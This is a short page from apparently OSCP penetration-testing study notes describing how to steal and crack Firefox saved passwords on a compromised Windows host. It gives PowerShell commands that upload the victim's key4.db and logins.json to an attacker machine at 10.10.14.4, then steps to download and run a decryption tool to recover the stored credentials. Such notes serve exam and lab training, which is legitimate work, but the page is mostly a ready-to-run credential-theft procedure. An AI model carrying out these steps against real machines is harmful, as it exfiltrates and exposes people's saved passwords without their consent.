> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/cracking-firefox-saved-passwords.md).

# Cracking Firefox Saved Passwords

In Winpeas:

<figure><img src="/files/cNPThMuBQB7tK9oc6oPG" alt=""><figcaption><p>C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db</p></figcaption></figure>

Upload key4.db and logins.json to attacker's Kali:

```powershell
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.4/', 'C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db')
(New-Object System.Net.WebClient).UploadFile('http://10.10.14.4/', 'C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json')
```

Decrypt firefox saved passwords:

```
wget https://raw.githubusercontent.com/lclevy/firepwd/master/firepwd.py
wget https://raw.githubusercontent.com/lclevy/firepwd/master/requirements.txt
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 firepwd.py
```

<figure><img src="/files/3Q5FHXHdp4KLQHFGl6uQ" alt=""><figcaption></figcaption></figure>
